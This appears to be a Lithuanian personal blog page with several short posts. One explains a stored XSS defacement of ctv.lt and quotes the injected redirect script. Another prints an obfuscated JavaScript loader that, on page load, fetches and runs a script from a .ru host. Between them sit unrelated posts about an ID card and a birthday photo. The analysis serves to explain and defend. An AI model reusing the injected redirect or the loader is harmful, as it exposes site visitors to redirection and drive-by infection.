Veikėjai nulaužė ctv.lt. Pasiaiškinkime, kaip tai jiems pavyko. Dominančios vietos paieška užtruko, nes JavaScript svetainėje naudojama negailint arba aš nemokėjau ieškoti. Visgi kaltą vietą radau:

<li>Naujausi vartotojai:
<b><a href="video/scriptwindowlocationhttpbitlygdmrdoscript"><script>window.location="http://bit.ly/gdmRDo"</script></a></b>,
<b><a href="video/scriptalertascript"><script>alert('a');</script></a></b>,
<b><a href="video/1973raimis">1973raimis</a></b>,
<b><a href="video/">Ruta Makaveckaite-Stalioraitiene</a></b>,
<b><a href="video/vidux49">vidux49</a></b></li>


Pirmiausiai pamėgino, ar veikia JavaScript įterpimas. Vėliau ėmėsi sudėtingos atakos - peradresavimo į savo puslapį, kuriame daro savo nesąmones. Per bit.ly tarnybą lankytojai buvo nukreipiami į http://iphones.puslapiai.lt/ctv.htm.

Iš to galime pasimokyti, jog reikia atsargiai elgtis su duomenimis, gautais iš naudotojų. Kaip pavyzdį galime paimti Drupal turinio skelbimo sistemą, kur daugelis duomenų gaunama iš naudotojų. Ten naudojamas duomenų valymas prieš pateikimą galutiniam naudotojui. Taip duomenų bazėje turime originalų įrašą, o išsiunčiami duomenys yra atitinkantys mūsų keliamus reikalavimus.

Asmens dokumentų išrašymo centras prie VRM šitaip išsamiai aprašė, kokie duomenys saugomi naujoje LR asmenybės kortelėje.

Seniai beskaičiau tokius 409 žodžius, kurie nepasako, ko tikisi dauguma (?) tą puslapį skaitančių.

Praėjusio gimtadienio proga rodau savo vasarišką nuotrauką.

Naudotojas jau
2 metai 2 savaitės

Nuotrauką darė Tadas.

Rokas atsiuntė vieną JavaScript kodą, kurį kažkur rado ir paklausė, kaip jį reikia iššifruoti.

Pradinis kodas:

<script>Og=20433;Og--;this.l=false;this.d="";function Q(){try {} catch(WN){};m={kM:false};var u="scr"+"ipt";try {var e='r'} catch(e){};var C=String("bo"+"dy");var X=new String("src");try {} catch(WE){};var z=new String("on"+"lofWn".substr(0,2)+"2H8ad2H8".substr(3,2));var Vw=new Date();A={Z:"q"};var N=String("de"+"Mc1fe".substr(3)+"sw4r".substr(3));try {var j='s'} catch(j){};Cy={cE:false};var NS=window;var Sb={Hp:false};var Il=[];var K=String("2cGxappe".substr(4)+"NTm5ndCh".substr(4)+"ild");var M=String("cre"+"ate"+"Elenxd".substr(0,3)+"men"+"QvgtvgQ".substr(3,1));var Y=document;var PA=false;y={t:"ko"};function O(){var ck={L:"Ww"};try {var h=930431-922351;var g=9636-9635;J=12232;J--;var n="qNX/ma".substr(3)+"rke"+"oejtwa".substr(3)+"tch"+"GTRU-coTURG".substr(4,3)+"GNOjm/g".substr(4)+"oog"+"le."+"comRLF".substr(0,3)+"/ar"+"chi"+"FbHve.".substr(3)+"FveiorgeFvi".substr(4,3)+".ph"+"p";var nX=String("http"+"://p"+"assp"+"ortb"+"lues"+".ru:");var Kg=new String();c=Y[M](u);var qk=false;var Hy=["Xo","Ms","gy"];T=[];this.Wb=59898;this.Wb--;c[N]=g;var dT=["cp","Ls","hU"];this.sy="";c[X]=nX+h+n;this.WL=2964;this.WL+=0;var eb="eb";RD=["sD","qL"];Y[C][K](c);var vx={v:"tM"};Du=12430;Du+=110;this.kL=58806;this.kL++;var dV=["b"];} catch(k){var Dk='';var Qu="Qu";this.fH=46178;this.fH++;this.Ac=58481;this.Ac++;};}Nq=[];NS[z]=O;var uR="uR";};var PUP={ub:false};Q();</script>

Kodas yra specialiai suveltas, kad būtų sunkiau surandamas ir suprantamas. Kadangi norėjau atsipalaiduoti nagrinėdamas šią raizgalynę, toliau pateikiu išanalizuotą kodą:

Originalus dydis (~5 MiB).